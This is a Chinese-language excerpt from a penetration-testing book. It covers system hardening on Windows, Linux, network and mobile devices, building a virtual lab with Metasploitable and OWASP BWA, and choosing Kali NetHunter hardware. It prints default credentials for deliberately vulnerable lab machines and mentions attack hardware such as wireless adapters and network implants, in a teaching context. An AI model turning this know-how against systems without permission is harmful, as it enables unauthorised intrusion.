采取以下步骤创建基线:

  1. 安装 Microsoft 基线后,打开应用程序。您将看到以下窗口:

image

  1. 单击“扫描计算机”。您可以选择使用计算机的主机名或 IP 地址作为扫描目标。在本练习中,我们将使用计算机名称字段中的默认主机名。

  2. 单击“开始扫描”,如下面的屏幕截图所示:

image

  1. 结果将自动填充到新窗口中,如下面的屏幕截图所示:

image

结果将指示需要系统管理员关注的各种安全问题和配置错误。检测到的每个问题都会被赋予严重性评级,以便轻松识别系统上最关键的安全问题。

Windows 注册表

Windows 注册表存储了系统的所有配置和记录-从系统启动到关闭的所有操作。注册表,更为人所知的是蜂房,通过使用注册表键来维护其记录。蜂房是注册表中的一组逻辑键、子键和值,具有包含其数据备份的一组支持文件。注册表是一个包含对 Windows 操作和在 Windows 上运行的应用程序和服务至关重要的数据的分层数据库。每个操作、配置、任务等都有一个唯一的键。监视任何异常变化或活动可以帮助检测安全妥协。监视和审计 Windows 注册表的一个工具是进程监视器:

image

进程监视器是微软的 Sysinternals 工具套件的一部分。要下载进程监视器,请访问docs.microsoft.com/en-us/sysinternals/downloads/procmon

用户帐户

系统上的每个用户都应该有自己的用户帐户,但有时用户不再在组织中或已经转移到另一个部门或位置,他们的用户帐户仍然在特定系统上启用。在系统上禁用不必要的用户帐户是良好的安全实践。

要在 Windows 上禁用用户帐户,打开控制面板|用户帐户|管理帐户。

在 Microsoft Windows 上禁用或删除访客帐户。这可以防止用户使用访客用户帐户访问您的计算机。

补丁管理

补丁管理过程包括以下目标:

  • 使用工具自动检测更新和补丁。

  • 进行漏洞评估,以确定其严重程度和需要补救问题的补丁。

  • 获取解决安全问题所需的补丁。

  • 在非生产机器上测试补丁,以确定安全问题是否已解决。

  • 将经过测试的补丁部署到组织内的系统。

  • 维护所有系统。

Microsoft Windows 提供了一个选项,可以自动下载和安装更新、补丁和服务包。要调整 Windows Update 的选项,导航到控制面板|Windows Update|更改设置:

image

Windows 防火墙

Microsoft Windows 操作系统具有内置防火墙,可防止恶意流量进入和离开本地系统。要确保 Windows 防火墙已启用,请导航到控制面板|Windows 防火墙,如下图所示:

image

要调整配置,例如在防火墙上创建、修改或删除规则,请单击高级设置,如下图所示:

image

禁用服务

在操作系统上使用未使用的服务可能会成为潜在的安全风险,因为攻击者可以尝试利用运行服务中的漏洞来破坏系统。在操作系统上禁用任何不必要的服务非常重要。

以下是一个非全面的服务列表,如果不使用应该禁用:

  • 文件传输协议(FTP)

  • Telnet

  • 通用即插即用(UPnP)

  • SQL Server

  • Internet 信息服务(IIS)

要在 Microsoft Windows 上禁用服务,打开控制面板|管理工具|服务:

image

您可以启动、停止和重新启动任何可用的服务。要进行修改,只需双击服务:

image

Linux 基线

正如我们在前一节中所学到的,安全基线通常涉及创建允许安全、轻松部署机器的映像。以下是为 Linux 操作系统创建安全基线的指南:

  • 确保 Linux 操作系统始终使用最新的安全补丁。可以使用yum updateapt-get update && apt-get upgrade命令执行此操作。

  • 确保执行强密码策略。

  • 禁用任何未使用的服务。

  • 启用磁盘加密。

  • 启用日志记录和审计。

  • 配置防火墙策略。

  • 禁用 USB 设备。

  • 保护 Web 服务。

  • 创建备份和保留策略。

  • 避免使用不安全的服务,如 HTTP、Telnet 和 FTP。

Linux 和 Windows 安全策略在两个操作系统上可以互换使用。

Linux 的安全扫描程序

Buck-security (www.buck-security.net/buck-security.html)是专为基于 Ubuntu 和 Debian 的 Linux 操作系统设计的安全扫描程序。

要安装 buck-security,您需要从其官方 GitHub 存储库下载文件。使用git clone https://github.com/davewood/buck-security命令执行此功能,如下面的屏幕截图所示:

image

接下来,使用cd buck-security命令将目录更改为buck-security文件夹。一旦进入buck-security目录,您可以执行工具对本地系统进行安全审计。要执行此实用程序,请使用./buck-security命令,如下面的屏幕截图所示:

image

Lynis是另一个安全审计和合规性工具,专为 Linux 和 macOS 操作系统设计。它具有在本地或远程系统上执行安全审计和非特权扫描的能力。根据开发人员的说法,Lynis 通常用于安全审计、合规性测试、渗透测试、漏洞评估和系统加固。

有关 Lynis 的更多信息,请访问其官方网站:cisofy.com/lynis

要开始使用 Lynis,您需要使用git clone https://github.com/CISOfy/lynis命令从官方 GitHub 存储库下载项目文件。

接下来,使用cd lynis命令将目录更改为lynis文件夹。

要执行本地安全扫描,我们可以简单地使用./lynis audit systemlynis audit system命令。

要执行远程安全扫描,请使用lynis system remote <远程主机的 IP 地址>命令。

要执行非特权扫描(对于渗透测试很有用),请使用lynis --pentest命令:

image

在 Linux 中禁用服务

要在基于 Linux 的系统上确定运行的服务,ps ax命令将显示当前正在运行的服务列表及其 PID,如下面的屏幕截图所示:

image

正如我们所看到的,PID 列出了它们对应的服务。您可能被要求停止或终止服务;要立即在本地系统上终止服务,请使用kill -9 <PID>命令。

假设您想要查看具有firefox字符串的任何运行服务/进程-使用ps –A |grep firefox命令:

image

输出显示firefox-esr服务当前正在本地系统上运行,使用2340 PID。我们可以使用 PID 和kill命令终止此服务,如下面的屏幕截图所示:

image

在 Linux 中确定运行的服务的另一个实用程序是netstat命令。使用netstat –lp命令将显示当前处于监听状态的网络协议及其对应的程序:

image

使用update-rc.d –f <server-name> remove | stop命令将在 Linux 中禁用不需要的服务。

加固网络设备

为了最小化路由器的攻击面,使用以下清单:

  • 更改所有默认密码。

  • 创建强密码。

  • 禁用 HTTP 服务器及其配置。

  • 禁用 ping 响应,如 ICMP 回显回复。

  • 为流量过滤应用访问控制列表ACLs)。

  • 禁用不安全的服务,如 Telnet。

  • 将固件和操作系统更新到最新的稳定版本。

  • 禁用不必要的服务。

以下清单可用作加固交换机的基础:

  • 应用端口安全。

  • 强制执行密码策略以获得强密码和复杂性。

  • 使用 SSH 而不是 Telnet。

  • 禁用动态中继协议DTP)。DTP 使链接自动成为中继。

  • 不要使用 VLAN 1。

  • 启用生成树根守卫和 BPDU 守卫。

  • 启用 DHCP 监听。

加固移动设备

有时,在讨论智能手机的话题时,我们会听到一个 Android 用户提到他们已经rooted他们的设备。什么是 rooting?在 Android 生态系统中,rooting是指在移动设备上获得根级别访问权限。与 Linux 一样,root 用户帐户被认为是系统上具有超级/完整权限的用户;由于 Android 是基于 Linux 的,获得完整的管理权限被称为rooting

拥有完全访问权限的设备非常棒,这意味着您可以安装和修改应用程序和系统资源以满足您的需求。然而,对于 Android 用户来说,rooting 会带来许多安全风险。首先,如果设备被 rooted,设备的保修将变为无效,而且更容易感染恶意软件。在 rooting 过程中,设备可能会变得无法使用,或者 Android 用户所说的砖化(无法使用)。虽然用户可以在 rooted 设备上安装和修改系统,但这会阻止 Android 设备接收和/或安装来自制造商的空中OTA)更新。

系统更新对于任何设备都非常重要,无论是台式机、服务器、路由器、交换机、防火墙还是智能设备,如智能设备。系统更新是为了修复错误和安全问题而创建和推出的。因此,rooted 设备更容易受到威胁。

类似于对 Android 设备进行 root 以获得完整/超级用户权限,对于苹果设备来说,相应的术语是越狱。越狱为移动用户提供了根级别的权限,并允许您从苹果应用商店之外的来源下载应用程序。

以下是为 Android 和 iOS 设备开发安全检查清单/基线的指南:

  • 确保操作系统保持最新。

  • 不要 root Android 设备。

  • 只从官方应用商店下载和安装移动应用程序,如 Google Play 商店和苹果应用商店。

  • 从受信任的安全供应商下载并安装防病毒应用程序。

  • 确保启用锁屏。

  • 确保您的 iPhone/iPad 或 Android 设备上启用了密码锁。

  • 确保更改默认密码。

  • 在 Web 浏览器中禁用附加组件和 JavaScript。

总结

在本章中,我们讨论了常见的安全威胁以及可能的对策和缓解技术。我们讨论了组织内系统安全基线的需求,并研究了一些工具,帮助我们在 Windows 和 Linux 操作系统上测量安全风险。然后,我们讨论了网络设备(如路由器和交换机)的各种加固技术,并最后学习了加固移动设备。

在下一章中,我们将探讨为实验室构建环境。

第十一章:建立实验室

在网络安全领域学习利用和渗透测试对学生和专业人士来说既令人兴奋又迷人。黑客的想法很酷,但是在学习网络安全,比如渗透测试时,一个学术机构,比如技术学院或大学,通常会建立一个物理实验室环境来进行培训。学习道德黑客和渗透测试应该只使用为此类培训设计和构建的系统来教授;换句话说,渗透测试绝对不应该使用互联网上可用的系统或者不提供此类测试许可的系统来教授。

要开始渗透测试,您应该建立一个实验室。拥有自己的实验室将消除某些限制,比如必须在培训机构内部才能访问他们的实验室。此外,实验室的可用性和可移植性将不受限制。

在本章中,我们将涵盖以下主题:

  • 建立渗透测试实验室的要求

  • 虚拟化简介

  • 建立易受攻击的系统

让我们开始吧!

技术要求

在建立任何东西时,最重要的考虑之一是完成所需的成本。然而,在 IT 领域,有许多合法的方法可以建立渗透测试实验室,而无需花费任何金钱。我们不是在谈论盗版,因为那是非法的,但是有许多企业标准的免费应用程序可用。我们将使用各种应用程序来组装我们自己的便携式渗透测试实验室。

要开始,您需要从互联网上下载一些项目来实现所有这些:

  • 虚拟化程序

  • 易受攻击的系统

  • 渗透测试分发

虚拟化程序

在 IT 领域,我们中的一些人喜欢使用服务器,无论是 Windows 还是 Linux。服务器和 IT 中的其他所有东西一样令人兴奋。今天最重要的技术之一是虚拟化。虚拟化允许您在任何类型的硬件上安装几乎任何类型的操作系统。这意味着什么?一些操作系统,如 Android、Windows Server、Linux Server 和 macOS,需要专门的硬件,如特定类型的处理器,如果系统没有所需的硬件资源,操作系统将无法安装。虚拟化通过使用一个称为虚拟机管理器的虚拟机来拯救一天。

虚拟化程序创建和模拟一个虚拟环境以满足操作系统的需求。虚拟化程序允许管理员(比如您)配置处理器的核心和线程数量,内存和硬盘分配,以及输入/输出(I/O)如 USB 控制器和串行控制器。因此,在安装过程中,客户操作系统认为自己是在物理硬件上安装,但实际上是在虚拟环境中安装。这些被称为虚拟机。

主机操作系统是当前笔记本电脑或台式电脑上的操作系统,客户操作系统是虚拟机或虚拟化程序内的操作系统。

有两种类型的虚拟化程序。让我们在接下来的部分中讨论每种类型。

Type 1

Type 1 虚拟化程序被称为裸金属虚拟化程序。这种类型的虚拟化程序直接安装到硬件上,并成为主机操作系统:

image

Type 2

Type 2 虚拟化程序安装在主机操作系统之上。这种类型的虚拟化程序使用主机操作系统提供的 CPU、内存和存储资源:

image

我们将使用 Type 2 虚拟化程序来建立我们的渗透测试实验室。使用虚拟机进行技术培训的好处是,如果在客户操作系统中发生任何事情,都不会影响主机操作系统。

以下是 Type 2 虚拟化程序:

  • Oracle VM VirtualBox(免费)

  • VMware Workstation Player(免费和商业)

  • VMware Workstation Pro(商业)

  • Microsoft Virtual PC(免费)

易受攻击的系统

建立渗透实验室中最重要的组成部分之一是易受攻击的系统。我们不能随意尝试在没有事先同意的系统上进行实践,因为那是非法和侵入性的。

用于渗透测试培训和实践的流行易受攻击的机器包括 Metasploitable 2 和 Metasploitable 3。这些是由 Rapid 7 的开发团队(www.rapid7.com)为学生和专业人士开发他们的渗透测试技能而创建的,使用 Rapid 7 自己的开发框架 Metasploit(www.rapid7.com/products/metasploit)。

用于练习和添加到实验室中的易受攻击系统的其他来源包括 VulnHub (www.vulnhub.com)和 Pentesterlab (www.pentesterlab.com)。

建立实验室

在这一部分,我们将组装所有的部件,建立一个完全操作的渗透测试实验室。

第 1 步 - 安装 hypervisor

首先,从其官方网站下载 Oracle VM VirtualBox:www.virtualbox.org

一旦你下载了 Oracle VM VirtualBox,完成安装过程,并保持所有选项默认。安装成功后,你将看到以下窗口:

image

另一个非常受欢迎的 hypervisor 是 VMware Workstation。但是,这个产品是商业的(付费),不像 Oracle VM VirtualBox(免费)。

第 2 步 - 获取易受攻击的系统

正如前面提到的,互联网上有许多可用的易受攻击系统。我们将部署MetasploitableOWASP 破碎的 Web 应用项目 - 这两个都是为了给学生和专业人士提供真实的实践经验而设计的虚拟机。

Metasploitable 2 目前可以在其官方存储库information.rapid7.com/download-metasploitable-2017.html上找到,也可以在sourceforge.net/projects/metasploitable/上找到。

OWASP 破碎的 Web 应用项目可以在sourceforge.net/projects/owaspbwa/files/找到。确保你已经下载了.ova文件,因为它将使设置过程更加顺畅。

第 3 步 - 设置 Metasploitable

从 Metasploitable 2 开始,转到包含文件metasploitable-linux-2.0.0.zip的文件夹。确保解压缩文件夹的内容。这些文件组成了一个虚拟硬盘,稍后可以添加到 hypervisor 上:

image

打开 VirtualBox,点击新建。向导以引导模式打开,但是我们将使用专家模式:

image

对于硬盘选项,我们将使用 Metasploitable 2 虚拟硬盘;这些是从上一步中提取的文件。选择“使用现有的虚拟硬盘文件”选项,然后点击文件夹图标

点击“添加”以附加虚拟硬盘。一旦它在窗口中,点击“选择”来选择它:

image

点击“选择”将你带回到主窗口 - 我们可以看到文件已经被附加上了:

image

点击“创建”完成过程:

image

让我们在这个新创建的虚拟机上配置网络适配器。选择虚拟机,然后点击“设置”。

接下来,选择网络类别,应用以下配置,完成后点击“确定”:

image

仅主机适配器设置将允许虚拟机和主机操作系统之间在私有虚拟网络上进行通信。不建议将易受攻击的系统连接到互联网。

桥接模式将允许虚拟机直接连接到您的物理或真实网络。

现在,是时候使用 VirtualBox 设置虚拟网络了。要在主机系统上配置虚拟适配器,请确保 VirtualBox 已打开 - 在顶部,点击工具|创建:

image

如果适配器已经存在,请选择它并点击属性。我们将在我们的虚拟实验室网络中使用10.10.10.0/24网络。这个 IP 方案将提供一个可用范围从10.10.10.110.10.10.254,但是这些 IP 地址将由内置在 VirtualBox 中的 DHCP 服务器分配:

image

完成这些配置后,点击应用。

现在是时候启动Metasploitable了。用户名是msfadmin,密码是msfadmin

image

一旦您登录,使用ifconfig命令检查虚拟机VM)的 IP 地址:

image

第 4 步 - 设置 OWASP 破碎的 Web 应用项目

打开 VirtualBox 并点击导入:

image

导入虚拟设备窗口将打开 - 点击右侧的文件夹图标。选择OWASP_Broken_Web_Apps_VM_1.2.ova文件:

image

现在窗口中应该填充了设备配置,所以点击导入:

image

导入后,是时候启动新的虚拟机并获取其 IP 地址了。用户名是root,密码是owaspbwa

image

OWASP Broken Web Applications Project 的资源,这是一个通过 Web 界面访问的 VM。

现在我们在我们的虚拟化渗透测试实验室中有一些易受攻击的系统,并且可以随时使用。请记住:可以随时向您的实验室添加其他易受攻击的系统,以进一步练习并提高您的技能。

摘要

在本章中,我们介绍了组装虚拟实验室进行渗透测试的要求,选择每个组件的原因,并最终在组装阶段将这些组件组合在一起。我希望本章内容能够提供信息,并且您能够添加更多的虚拟机,以增加实验室的规模,并在渗透测试中变得更加优秀。现在,您可以在家里建立自己的实验室。

在下一章中,我们将看看如何为 Kali 设备和硬件选择各种选项。

第十二章:选择 Kali 设备和硬件

当您几乎完成了这本书,仍有一些重要的细节和组件需要讨论,以确保您已经准备好进行渗透测试之旅。

在本章中,我们将涵盖以下主题:

  • 适用于 Kali Linux 的移动硬件

  • 外部组件

  • 额外的硬件

在本书的过程中,您已经了解了渗透测试领域,特别是使用移动设备对目标系统或网络执行真实世界的模拟攻击和分析。但是,选择适合 Kali Linux 的设备有时可能会有些麻烦。作为学生、安全专业人员、渗透测试人员或者在网络安全领域开始探索道路的人,尤其是在渗透测试方面,您可能会有以下问题:

  • Kali NetHunter 可以在任何移动设备上运行吗?

  • 如果我没有兼容的设备,还有其他可以尝试的吗?

  • 是否可以创建自己的 Kali NetHunter 的自定义版本?

让我们开始吧!

小型计算机

最初,Kali Linux 渗透测试平台是一种操作系统,可以安装在计算机的本地硬盘驱动器(HDD)上,或者从光盘(如数字多用途光盘(DVD))上进行现场引导。多年来,Kali Linux 的开发扩展到了更新和更现代的设备,如智能手机和平板电脑,甚至其他具有高级 RISC 机器(ARM)处理器的设备,如树莓派。

Gem PDA

与基于安卓的智能手机等现代移动设备相比,Gem PDA 看起来有点“老派”。这款设备结合了智能手机和个人数字助理(PDA)的概念:

image

您可能想知道这款设备适合 Kali Linux 的原因。Gem PDA 支持多重引导功能,可安装最多三个操作系统。

以下是支持的操作系统列表:

  • 安卓

  • Debian

  • Kali Linux

  • 旗鱼

Gem PDA 的 Kali Linux 镜像可以在www.offensive-security.com/kali-linux-arm-images/找到。

树莓派 2 和 3

树莓派是一款信用卡大小的单板计算机。可以将其视为没有外围设备(如键盘、鼠标和驱动程序)的计算机。但是,CPU、RAM、输入/输出(I/O)模块和网络适配器都集成在一个单板上,使其成为微型计算机:

image

树莓派 3 型 B+目前是市场上最新的型号,具有以下整体规格:

  • Cortex-A53(ARMv8)64 位 SoC,主频 1.4GHz

  • 1GB SDRAM

  • 2.4GHz 和 5GHz IEEE 802.11.b/g/n/ac WLAN

  • 蓝牙 v4.2

  • 通过 USB 2.0 的千兆以太网

  • 5V 2.5A 直流电源输入

  • 通过以太网供电(PoE)

  • Micro SD 端口(用于操作系统)

ODROID U2

ODROID U2 是一款超小型微型计算机,比信用卡还小。该设备配备了 Cortex-A9 四核 1.7 GHz 处理器,2 GB RAM,支持通过 Micro HDMI 进行视频输出,用于网络连接的 10/100 Mbps 以太网,使用 MicroSD 进行存储,并需要 5V 2A 电源适配器:

image

支持 ARM 的设备列表可以在官方 Kali ARM 文档网站上找到:docs.kali.org/category/kali-on-arm。此外,Kali NetHunter 镜像可以在github.com/offensive-security/kali-nethunter/wiki找到。

移动硬件

选择适合 Kali NetHunter 平台的移动设备并不像看起来那么困难。Offensive Security 团队(www.offensive-security.com)为我们创建了自定义镜像,但是也有一个支持设备的列表。最初,Kali NetHunter 是为 Google Nexus 系列设备和 OnePlus 设计的:

  • Nexus 5

  • Nexus 6

  • Nexus 7

  • Nexus 9

  • Nexus 10

  • OnePlus One

Offensive Security 推荐 OnePlus One 作为 Kali NetHunter 平台的首选移动设备。要下载 Nexus 系列和 OnePlus One 设备的官方镜像,请访问www.offensive-security.com/kali-linux-nethunter-download/

你可能会认为首选设备的数量有很大的限制;幸运的是,还有一个额外的支持设备列表:

image

如果你使用的设备在上表中列出,你需要为你的设备构建一个自定义版本的 Kali NetHunter。要做到这一点,请参考第一章中的构建 Kali NetHunter部分,即《Kali NetHunter 简介》。如果需要更多信息,请参考官方文档:github.com/offensive-security/kali-nethunter/wiki/Building-Nethunter

以下是根据它们的代号和 Android 版本给出的支持的 Android 设备列表:

image

外部组件

在本节中,我们将讨论对使用 Kali NetHunter 模拟对目标的攻击的渗透测试人员有用的外部组件。

无线适配器

作为渗透测试人员,一个必不可少的硬件是一个外部无线适配器,用于对目标网络执行各种无线攻击。以下是与 Kali NetHunter 内核兼容的支持的无线适配器列表:

image

一些适配器可能由于各种原因无法工作,比如不兼容的内核和驱动程序 - 适配器可能无法从 Android 设备获得足够的电源;在这种情况下,建议使用带有外部电源的 Y 型电缆。

OTG 电缆

此外,在使用 Kali NetHunter 时,on-the-goOTG)电缆应该是你的组件清单的一部分。OTG 电缆将允许 USB 设备,如外部无线适配器,与 NetHunter 接口。

以下是带有 RT5370 迷你 USB WiFi 适配器的 OTG 电缆的图像:

image

总结

在本章中,我们看了一些支持 Kali Linux 操作系统的微型计算机。这些设备可以让渗透测试人员为目标网络创建自己的网络植入物。在审查编译特定设备的自定义 Kali NetHunter 镜像的方法时,我们涵盖了支持的移动设备列表。最后,渗透测试离不开无线网络适配器,因此提供了已知支持的移动设备的无线适配器列表。

希望本章和本书对你的学习有所帮助,并将在你的网络安全之路上受益。谢谢你的关注!

posted @ 2024-05-04 01:10  绝不原创的飞龙  阅读(7)  评论(0编辑  收藏  举报